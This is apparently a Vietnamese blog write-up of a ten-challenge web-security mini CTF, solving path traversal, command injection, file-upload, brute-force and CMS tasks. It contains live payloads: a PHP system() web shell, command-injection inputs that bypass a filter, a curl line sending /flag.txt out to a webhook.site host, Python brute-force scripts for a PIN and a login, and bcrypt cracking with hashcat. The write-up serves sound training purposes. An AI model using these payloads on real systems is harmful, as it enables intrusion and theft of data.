Half Cookie là một Mini CTF đóng vai trò là “bài thi giữa kỳ” cho lớp Lỗ hổng bảo mật web100 bởi Cookie Hân Hoan. Cuộc thi gồm 10 bài (mỗi bài 1 flag) với cấu trúc: 4 bài Very Easy, 4 bài Easy và 2 bài Medium. Cuộc thi đã kết thúc và các bài thi đều được public trên Battle Arena. Dưới đây là write up toàn bộ các bài, do là 1 bài write up nhiều bài nhỏ nên mình viết tập trung vào cách lấy flag lập tức chứ không giải thích quá nhiều.
1. eViewer – Very Easy
Link: https://battle.cookiearena.org/challenges/web/eviewer


Bài này nội dung đơn giản là nhập tên file rồi sẽ hiển thị nội dung lên trên UI. Flag bài này nằm ở /flag.txt nên cứ truyền input là /flag.txt là được…

Bài này không cho sử dụng Absolute path, nên giờ mình sử dụng lỗ hổng Path Traversal, input ../../../../flag.txt

Done, flag như trên ảnh.
2. Cookie Comic – Very Easy
Link: https://battle.cookiearena.org/challenges/web/cookie-comic

Bài này ném mình vô 1 trang đọc truyện, inspect vào devtools mình có:

Image được lấy dynamic qua API /image.php, khả năng API này cũng bị Path Traversal, nên mình gọi vào:
/image.php?file=../../../../flag.txt
Kết quả là 1 file flag được down về máy, nội dung flag cũng trong đó.

3. COMB – Very Easy
Link: https://battle.cookiearena.org/challenges/web/comb
Bài này giả lập mình vào 1 trang CV, để tìm được flag thì mình phải tìm được thông tin login.

Chui vào /robots.txt để mò xem có thông tin gì hay ho không thì phát hiện 1 path PHP: /comb.php

Trang COMB này đang gọi request đến 1 service để kiểm tra thông tin của mình có nằm trong những đợt leak data không, mình có manh mối là email, nhập email vào và mình tìm được password là football24

Quay lại trang login với user john, password football24 là thấy được flag.
4. Pin Rate Limit
Link: https://battle.cookiearena.org/challenges/miscellaneous/pin-rate-limit

Nhìn hình ta thấy, bên trái là tính năng còn bên phải là code của tính năng đó, giải thích đoạn code trên thì là Backend sẽ quản lý số lần nhập mã PIN còn lại dựa trên IP, việc quản lý này sẽ được dựa vào Session, mà để biết cái request nào thuộc Session thì nó phải gửi ID session đó về client-side (cụ thể trong bài này sẽ lưu trong cookie), và client-side sẽ gửi nó lên mỗi khi request đến server.
Dựa theo logic đó thì mình chỉ việc brute force từ 0000 – 9999 mà không kèm theo cookie là xong, giờ viết 1 cái script python thật chill để bắn cả mớ request lên thôi:
import requests
url = "http://challenge_host/"
for x in range(1, 9999):
pin = x
if x < 10:
pin = f'000{x}'
elif x < 100:
pin = f'00{x}'
elif x < 1000:
pin = f'0{x}'
print(f"trying pin {pin}")
payload = f'pin={x}'
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'en-US',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://challenge_host/',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://challenge_host/',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36'
}
response = requests.request("POST", url, headers=headers, data=payload)
if "Incorrect PIN" not in response.text or ("CHH" in response.text) or 13039 != len(response.content):
print('FOUND')
print(response.text)
break;
Bruteforce 1 hồi mình tìm được mã pin hợp lệ để vào, vào trong là thấy flag ngay.


5. My Deploy – Easy
Link: https://battle.cookiearena.org/challenges/web/my-deploy
Bài này cho mình thấy 2 file php, xem qua thì thấy file home.php sẽ hiển thị giao diện upload file và chỉ nhận file .zip, upload.php là API để nhận file và giải nén file .zip vào thư mục extracted.


Vậy mình sẽ viết 1 file php, lợi dụng PHP Inclusion để đọc file flag, mình đặt tên file là deploy.php:
<?php system('cat /flag*') ?>
Zip lại file php và upload lên, sau đó vào thư mục extracted tìm file deploy.php là sẽ thấy được nội dung trong tất cả các file có tên bắt đầu bằng chữ flag ở directory /.

6. NSLookup – Easy
Link: https://battle.cookiearena.org/challenges/web/nslookup
Bài này cho mình 1 UI cho phép nhập domain vào để backend thực thi lệnh nslookup và trả về nội dung của output từ command.

Idea đơn giản là mình sẽ lợi dụng OS Command Injection để đọc file flag bằng input: google.com; cat /flag* #. Trên UI có validate phải input phải là domain mới thực thi, nên mình sử dụng input kia trực tiếp trong request body. Kết quả trả về là Hack detected. Chứng tỏ ở phía backend có lọc 1 số lệnh nhạy cảm ra.

Sử dụng thêm vài command để kiểm tra thì mình thấy mấy command như cat, ls, head, tail,… và dấu * nếu xuất hiện trong input sẽ bị báo Hack detected! ngay. Nhưng lệnh find và grep thì không bị. Mình lợi dụng 2 lệnh này với input:
- google.com’;find / | grep /flag ‘ – Lệnh này mình list được danh sách các file có tên flag, tìm ra được file flag cần lấy là flagSaCcY.txt
- google.com’;grep “CHH” /flagSaCcY.txt # – Lợi dụng grep để in nội dung trong file mà không cần tới cat.


Mình đọc được nội dung flag ở bài này thông qua OS Command Injection.
7. System Monitor – (not so) Easy
Link: https://battle.cookiearena.org/challenges/web/system-monitor
Khi vào challenge mình sẽ được đưa tới 1 web quản trị hệ thống, web này có tính năng phân tích access log và kiểm tra các request nào có pattern như trong ảnh là sẽ được đưa vào diện tình nghi.

Bài này nhìn vô thấy có khả năng Log Poisoning… NHƯNG KHÔNG =))) Không thể sử dụng Log Poisoning cho bài này được.
Vậy hướng tiếp cận tiếp theo là lợi dụng việc truyền tham số, chỗ dropdown và nút Analyze là 1 cái form để submit. Giá trị trong cái dropdown đó là cả 1 cái đường dẫn:

Thay vì truyền đường dẫn kia lên, mình thử truyền index.php vào request payload. Nội dung mình nhận được khá hay ho:

Bài này không sử dụng PHP Inclusion để hiển thị file mà thay vào đó là thực thi OS Command rồi hiển thị lên UI. Vì thế mình hoàn toàn có thể sử dụng OS Command Injection và Out Of Band bằng cách truyền giá trị sau vào request payload:
log_file=/etc/passwd; ls /www; curl -d @/flag.txt https://webhook.site/22e8f1f4-8ac2-4061-ba29-351742f63894 #&analyze_log=
Lên trên webhook.site, kiểm tra request được gửi đến sẽ là nội dung của file flag.txt:

Bài này thật ra khá là dễ nhưng khi giải, mình cứ đinh ninh là Log Poisoning sẽ được, thành ra tốn gần 3 4 tiếng đồng hồ cho bài này, trong khi dấu hiệu ở trước mắt =)))
8. Repay Bank – Easy
Link: https://battle.cookiearena.org/challenges/web/repay-bank
Bài này chỉ cơ bản là sử dụng kỹ năng Recon thôi, tìm được thông tin login là ra flag, lò mò xung quanh page mình sẽ có 2 page quan trọng là single.html và login.php. login.php thì chỉ cơ bản là trang đăng nhập, trang đáng nói là trang single.html, nó thông báo về việc toàn bộ các tài khoản mới sẽ được sử dụng password mặc định là Repay@2024

Sử dụng thông tin username t.bowie, password Repay@2024, để đăng nhập thì không được, do user này đã thay đổi password của họ. Bây giờ mình sẽ tìm các user khác. Ở xung quanh mình tìm được Admin và thông tin này ở trang about.html

Sử dụng format như trên trang single.html, mình thử convert lại tên những người trên thành username:
Fergus Smith -> s.fergus
Sophie Driver -> d.sophie
Hugo Bear -> b.hugo
Steven Kerb -> k.steven
Shaun Coins -> c.shaun
Thử hết các case với hy vọng là có user nào đó chưa đổi pass mặc định thì user b.hugo vào được, flag hiện trước mặt luôn.

Bài này được xếp ở mức Easy nhưng lúc thi đấu thì tới tận tối vẫn chưa ai giải ra tại… challenge code bị lỗi =)))
9. Curriculum vitae – Medium
Bài này là tiến hoá của bài COMB. Vẫn là trang login, mục tiêu mình cần làm là tìm cách login vào được trang này, mở page source ra thì thấy 1 cái hint to đùng.

CUPP là 1 tool mà mình cung cấp các thông tin mà mình có từ victim, sau đó tool sẽ dựa trên các thông tin này mà gen ra 1 danh sách các password có khả năng (hoặc không) đúng.

Clone về và chạy python3 cupp -i rồi nhập các thông tin mình tìm được trên trang, tổng có 2148 password được tạo phù hợp với các thông tin mình đã cung cấp.
Tiếp theo viết 1 script bruteforce lên trang login với 2148 password đó:
import requests
with open('john.txt') as file:
passwords = [line.rstrip() for line in file]
for password in passwords:
print(f'Trying password {password}')
url = "http://xxx.xxx/login.php"
payload = f'username=john&password={password}'
headers = {
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Language': 'en-US',
'Cache-Control': 'max-age=0',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://xxx.xxx',
'Proxy-Connection': 'keep-alive',
'Referer': 'http://xxx.xxx/login.php',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'liu liu'
}
response = requests.request("POST", url, headers=headers, data=payload)
if "Invalid" not in response.text:
print(f"FOUND: {password}")
break
Chạy lên thì mình tìm được password Doejohn9007 là password chính xác. Login vào mình vào được trang admin, cho phép update CV dựa trên file json

Khi nhấn fetch để lấy nội dung file, mình xem trong payload thì thấy truyền file name lên

Có 1 vấn đề là khi thử truyền ../../../../../etc/passwd vào param thì lấy được nội dung file /etc/password, nhưng truyền ../../../../../flag.txt thì không, chứng tỏ flag bài này không nằm trong file flag.txt mà là 1 file khác, mình thay đổi mục tiêu là tìm chỗ để có thể thực thi RCE, chủ yếu thông qua file php. Tiếp tục dạo 1 vòng thì mình vào /robots.txt, phát hiện 1 file test.php, nội dung file thì cơ bản là Hello, world!www /www.


Quay lại với đoạn fetch nội dung, mình thử lấy nội dung file test.php thì hoàn toàn có thể lấy được bằng cách sửa lại file=../file.php

Nội dung kiểu này thì tha hồ RCE nhưng mà mình sẽ dùng PHP Inclusion cho nó lẹ, mình sửa lại giá trị trong function system thành cat /flag*. Nhấn Update và quay lại path /test.php là xong.


10. My Blog – Medium
Link: https://battle.cookiearena.org/challenges/web/my-blog
Bài duy nhất mình tốn thời gian và công sức mà vẫn không giải được, phải tận sau cuộc thi mình mới xin hint rồi giải được. Nên thành ra mình viết Write Up ngắn gọn mà không đặt ngữ cảnh vào bài này.
Khi vào trang challenge, mình thấy 1 trang HTML mà nhìn không đâu, lý do là do các link trong html đều trỏ về localhost:1337

Dùng BurpSuite, bật proxy lên và thiết lập modification response body replace localhost:1337 -> 103.97.125.56:31950, lúc này nội dung hiển thị trên UI ngon lành


Ở trên trang chủ có rất nhiều link, nhưng chúng đều trỏ vào trang login /textpattern/index.php. Quay lại tiết mục recon trên trang để tìm kiếm thêm thông tin, nhưng rất tiếc là không tìm thấy được gì nữa.
Mình thay đổi bước recon, thay vì tìm kiếm thông tin từ giao diện, mình bắt đầu tìm kiếm thử các path ẩn. Sử dụng dirsearch để dò các path phổ thông.
dirsearch -u http://103.97.125.56:31950/
Một path thú vị mình tìm được (thật ra nhờ mấy sếp hint =))) ) là /backup.sql. Và trong này có 1 nội dung cực thú vị

Thông tin user admin và pass của user, password này đã được hash lại bằng bcrypt.
Mình có thể thử dùng dictionary attack với hashcat và “bộ từ điển” rockyou.

-m là để chỉ định thuật toán hashing password, 3200 là để chỉ bcrypt
hashed.txt là file txt chứa nội dung là password đã được hash lại, lấy được từ database
rockyou.txt là file từ điển chứa hàng trăm ngàn password
May mắn password có thể crack được, password chính là princess.
Quay lại trang login cùng với thông tin trên (username: admin, password: princess). Chui vào được bên trong CMS thì thứ đầu tiên mình vọc là Preferences, ở mục Admin có 1 thứ khá thú vị đó là File directory path. Mặc định đang để /www/files, mình sẽ sửa lại thành /

Sau đó mình chui vào mục quản lý Files, trong này có sẵn 1 file tên Recovering_prototype_latest.png, nhưng do mình thay đổi path thành ra nó đang bị dính cái cờ đỏ Missing.

Bấm vào file, thì ở trong textpattern CMS có tính năng đó là sửa lại đường dẫn file bị missing, nó sẽ hiển thị toàn bộ các file đang tồn tại trong File directory path. Ở đây mình thấy được file flagf2ZZ.txt, chọn nó và save lại, vậy là giờ file Recovering_prototype_latest.png sẽ chứa nội dung của flagf2ZZ.txt

Quay lại mục quản lý Files, mình có thể tải file này về máy và… hết

Mình ấn tượng ở bài này ở chỗ là nó có khả năng chặn dirsearch vì… page này response khá là chậm =))) Mà dirsearch thì gửi 1 mớ request vào không thương tiếc, thành ra khi thấy báo lỗi trên CLI, mình huỷ lệnh luôn nên tìm ko ra =)))
Thành quả Mini CTF
Dù CTF chưa có những bài như XSS, SQL Injection hay SSRF nhưng nó cũng cho mình biết được mình đang yếu gì, đặc biệt là mảng Recon.
Bên cạnh đó mình còn biết thêm được 1 số tool khá hay và có use case để áp dụng như dirsearch, hashcat, cupp, pwned database.
Và cuối cùng là thành quả, mình may mắn lọt vào top 10 và đứng hạng 4 trong kì thi này 😁 😁 😁

UPDATE: sau khi BTC sort lại kết quả thì mình đang đứng top 1 =)))) Ồ dééééééééééé
